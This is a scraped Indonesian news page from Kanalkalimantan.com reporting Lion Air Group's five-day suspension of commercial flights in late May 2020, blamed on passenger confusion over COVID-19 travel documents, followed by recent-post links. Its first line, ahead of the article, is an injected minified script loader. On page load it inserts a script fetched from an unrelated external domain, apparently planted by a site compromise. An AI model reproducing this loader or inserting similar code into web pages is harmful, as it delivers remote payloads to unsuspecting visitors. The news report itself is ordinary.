(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Banyak Penumpang Tak Paham Aturan, Lion Air Group Hentikan Operasional hingga 31 Mei 2020


KANALKALIMANTAN.COM, BANJARBARU – Maskapai penerbangan swasta terbesar di Indonesia, Lion Air Group berencana menghentikan sementara operasional penerbangan selama lima hari, terhitung Rabu (27/5/2020) hingga Minggu (31/5/2020). Langkah ini diambil sebagai dukungan terhadap kebijakan pemerintah terkait pencegahan penyebaran Covid-19.

Dalam keterangan tertulis yang diterima Kanalkalimantan.com pada Rabu (27/5/2020) malam, Corporate Communication Strategic Lion Air Group Danang Mandala Prihantoro mengungkapkan, berdasarkan evaluasi atas pelaksanaan operasional penerbangan sebelumnya, banyak calon penumpang yang tidak dapat melanjutkan perjalanan atau tidak bisa terbang dan harus kembali dengan segala biaya yang telah dikeluarkan atau kerugian.

Hanya karena ketidaktahuan atau ketidakpahaman atas ketentuan-ketentuan yang harus dipenuhi untuk dapat melaksanakan perjalanan dengan pesawat udara.

Dengan demikian, menurut Danang, Lion Air Group berkesimpulan bahwa para calon penumpang masih membutuhkan sosialisasi yang lebih intensif agar lebih mengetahui dan memahami secara jelas terkait dengan ketentuan-ketentuan dan persyaratan yang dibutuhkan untuk rencana bepergian menggunakan pesawat udara.

“Calon penumpang belum sepenuhnya mengetahui dan memahami bagaimana dokumen-dokumen perjalanan dipenuhi dan dimana calon penumpang mendapatkannya. Lion Air Group juga harus menjaga serta memastikan kondisi kesehatan fisik dan jiwa seluruh karyawan berada dalam keadaan baik, pasca operasional sebelumnya,” kata Danang.

Lanjut Danang, Lion Air Group berkesimpulan, berdasarkan kondisi di atas, masih dibutuhkan waktu agar para calon penumpang lebih mengetahui dan melengkapi dokumen-dokumen yang diperlukan untuk melakukan perjalanan dengan menggunakan pesawat udara.

“Sehingga Lion Air Group memutuskan untuk melakukan sosialisasi yang lebih intensif melalui website dan kantor-kantor cabang serta menghentikan sementara operasional penerbangan selama lima hari, yaitu mulai 27 Mei sampai dengan 31 Mei 2020,” pungkas Danang.

Kanalkalimantan.com pun mengkonfirmasi penghentian sementara operasional Lion Air Group ini lebih lanjut kepada Area Manager Lion Air Group Kalselteng Agung Purnama melalui pesan singkat. Ia pun membenarkan jika maskapai yang bernaung di bawah Lion Air Group di Indonesia yaitu Lion Air, Wings Air dan Batik Air menghentikan sementara operasional selama lima hari.

“Iya, dengan begitu sementara kita belum ada penerbangan komersial sampai tanggal 31 Mei 2020. Yang ada hanya penerbangan kargo saja,” kata Agung, Rabu (27/5/2020) malam.


Sebelumnya, lanjut Agung, Lion Air Group menerbangkan penumpang pesawat yang disebut sebagai excemption flight yang dimulai sejak 10 Mei 2020 lalu. Namun, excemption flight ini pun cukup terbatas. “Kebetulan exemption flight ini disesuaikan dengan kebutuhan, yaitu dari Banjarmasin ke Jakarta dan Surabaya yang menjadi rute utamanya,” lugas Agung.

Diakuinya, memang ada calon penumpang yang kebingungan dengan dokumen-dokumen perjalanan selama pandemi Covid-19. “Sering sih, tidak terlalu banyak di kita tapi memang ada beberapa,” singkatnya.
Lalu, apakah ada calon penumpang terdampak penghentian sementara operasional Lion Air Group? Diakui Agung, ada beberapa calon penumpang yang terdampak. Namun, tidak terlalu banyak dan masih dalam bentuk booking tiket.

“Jadi bisa kita informasikan ke calon penumpang tersebut. Karena memang sebetulnya exemption flight ini bagi kriteria penumpang berkategori khusus dan bagi penumpang yang sudah siap terbang saja dengan syarat-syarat yang telah lengkap,” tukas Agung. (Kanalkalimantan.com/fikri)

 

Reporter : Fikri
Editor : Cell

 


Desy Arfianty

Recent Posts

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

7 jam ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

12 jam ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

13 jam ago

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

1 hari ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

1 hari ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

1 hari ago

This website uses cookies.